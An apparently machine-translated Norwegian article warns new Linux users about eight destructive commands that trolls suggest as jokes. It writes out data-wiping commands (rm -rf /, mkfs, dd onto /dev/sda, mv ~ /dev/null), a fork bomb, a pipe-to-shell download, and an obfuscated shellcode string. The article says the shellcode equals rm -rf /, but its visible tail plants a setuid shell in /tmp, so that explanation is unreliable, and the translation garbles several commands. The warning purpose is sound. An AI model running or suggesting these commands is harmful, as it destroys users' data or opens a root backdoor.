Hjemmeside » hvordan » 8 Deadly Commands Du bør aldri kjøre på Linux

    8 Deadly Commands Du bør aldri kjøre på Linux

    Linux terminale kommandoer er kraftige, og Linux vil ikke be deg om bekreftelse hvis du kjører en kommando som vil ødelegge systemet. Det er ikke uvanlig å se trollene på nettet, og anbefale nye Linux-brukere å kjøre disse kommandoene som en spøk.

    Å lære kommandoene du ikke kjører, kan beskytte deg mot troll mens du forstår forståelsen av hvordan Linux fungerer. Dette er ikke en uttømmende guide, og kommandoene her kan remixes på en rekke måter.

    Merk at mange av disse kommandoene bare vil være farlige hvis de er prefixed med sudo på Ubuntu - de vil ikke fungere ellers. På andre Linux-distribusjoner må de fleste kommandoer kjøres som rot.

    Image Credit: Skull and Crossbones remixed fra Jason Ford på Twitter

    rm -rf / - Slett Alt!

    Kommandoen rm -rf / sletter alt det muligens, inkludert filer på harddisken og filer på tilkoblede flyttbare medieenheter. Denne kommandoen er mer forståelig hvis den er brutt ned:

    rm - Fjern følgende filer.

    -rf - Kjør rm rekursivt (slett alle filer og mapper i den angitte mappen) og tving-fjern alle filer uten å spørre deg.

    / - Forteller rm å starte på rotkatalogen, som inneholder alle filene på datamaskinen og alle monterte medieenheter, inkludert eksterne filandeler og flyttbare stasjoner.

    Linux vil gjerne adlyde denne kommandoen og slette alt uten å spørre deg, så vær forsiktig når du bruker den! Rm-kommandoen kan også brukes på andre farlige måter - rm -rf ~ ville slette alle filer i hjemmemappen din, mens rm-rf. * ville slette alle konfigurasjonsfilene dine.

    Leksjonen: Pass på rm-rf.

    Skjult rm-rf /

    Her er en annen kodekode som er over hele nettet:

    char esp [] __attribute__ ((seksjon ("tekst"))) / * e.s.p
    utgivelse */
    = "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
    “\ XFF \ XFF \ XFF \ XFF \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ x8d \ x99”
    “\ XDF \ x81 \ x68 \ x8d \ x92 \ XDF \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7”
    “\ X56 \ X04 \ xf7 \ x56 \ X08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56”
    “\ X8d \ x73 \ X08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ x80 \ x31”
    “\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ XBD \ XFF \ XFF \ XFF \ x2f \ x62 \ x69”
    “\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00”
    "Cp -p / bin / sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    Dette er hex-versjonen av rm -rf / - utførelse av denne kommandoen ville tørke ut filene dine akkurat som om du hadde kjørt rm -rf /.

    Leksjonen: Ikke kjør merkelige utseende, åpenbart forkledte kommandoer som du ikke forstår.

    : () : |: &;: - Fork Bomb

    Følgende linje er en enkel utseende, men farlig, bash funksjon:

    : () : |: & ;:

    Denne korte linjen definerer en skalfunksjon som lager nye kopier av seg selv. Prosessen replikerer kontinuerlig seg selv, og kopiene fortsetter å replikere seg selv, og tar raskt opp hele CPU-tid og minne. Dette kan føre til at datamaskinen fryser. Det er i utgangspunktet et benektelsesangrep.

    Leksjonen: Bash funksjoner er kraftige, selv svært korte.

    Image Credit: Dake på Wikimedia Commons

    mkfs.ext4 / dev / sda1 - Formaterer en harddisk

    De mkfs.ext4 / dev / sda1 kommandoen er lett å forstå:

    mkfs.ext4 - Opprett et nytt ext4-filsystem på følgende enhet.

    / Dev / sda1 - Angir den første partisjonen på den første harddisken, som sannsynligvis er i bruk.

    Samlet sett kan denne kommandoen tilsvarer kjørerformat c: på Windows - det vil tørke filene på din første partisjon og erstatte dem med et nytt filsystem.

    Denne kommandoen kan også komme i andre former - mkfs.ext3 / dev / sdb2 ville formatere den andre partisjonen på den andre harddisken med ext3-filsystemet.

    Leksjonen: Pass på å kjøre kommandoer direkte på harddiskenheter som starter med / dev / sd.

    kommando> / dev / sda - Skriver direkte til en harddisk

    De kommando> / dev / sda linjen fungerer på samme måte - den kjører en kommando og sender utdataene til den kommandoen direkte til din første harddisk, skriver dataene direkte til harddisken og ødelegger filsystemet.

    kommando - Kjør en kommando (kan være en kommando.)

    > - Send utgangen av kommandoen til følgende sted.

    / Dev / sda - Skriv utgangen av kommandoen direkte til harddiskenheten.

    Leksjonen: Som ovenfor, pass opp løpekommandoer som involverer harddiskenheter som begynner med / dev / sd.

    dd hvis = / dev / random of = / dev / sda - Skriver søppel på en harddisk

    De dd hvis = / dev / tilfeldig av = / dev / sda linjen vil også utelukke dataene på en av harddiskene dine.

    dd - Utfør lavt nivåkopiering fra ett sted til et annet.

    if = / dev / tilfeldig - Bruk / dev / random (random data) som inngang - du kan også se steder som / dev / null (nuller).

    av = / dev / sda - Utgang til den første harddisken, erstatter filsystemet med tilfeldige søppeldata.

    Leksjonen: dd kopierer data fra ett sted til et annet, noe som kan være farlig hvis du kopierer direkte til en enhet.

    Bilde Kreditt: Matt Rudge på Flickr

    mv ~ / dev / null - Flytter Hjemmekatalogen til et svart hull

    / dev / null er en annen spesiell plassering - å flytte noe til / dev / null er det samme som å ødelegge det. Tenk på / dev / null som et svart hull. I bunn og grunn, mv ~ / dev / null sender alle dine personlige filer til et svart hull.

    mv - Flytt følgende fil eller katalog til et annet sted.

    ~ - Representerer hele hjemmemappen din.

    / Dev / null - Flytt hjemmemappen til / dev / null, ødelegge alle filene dine og slette originale kopier.

    Leksjonen: Den ~ tegnet representerer hjemmemappen din og flytte ting til / dev / null ødelegger dem.

    wget http://eksempel.no/ noe -O - | sh - Nedlastinger og kjører et skript

    Ovenstående linje laster ned et skript fra nettet og sender det til sh, som utfører innholdet i skriptet. Dette kan være farlig hvis du ikke er sikker på hva skriptet er, eller hvis du ikke stoler på sin kilde - ikke kjør usikre skript.

    wget - Laster ned en fil. (Du kan også se krøll i stedet for wget.)

    http://example.com/something - Last ned filen fra denne plasseringen.

    | - Rør (send) utgangen av wget-kommandoen (filen du lastet ned) direkte til en annen kommando.

    sh - Send filen til sh-kommandoen, som kjører den hvis den er et bash-skript.

    Leksjonen: Ikke last ned og kjør usikre skript fra nettet, selv med en kommando.


    Kjenner andre farlige kommandoer at nye (og erfarne) Linux-brukere ikke skal kjøre? Legg igjen en kommentar og del dem!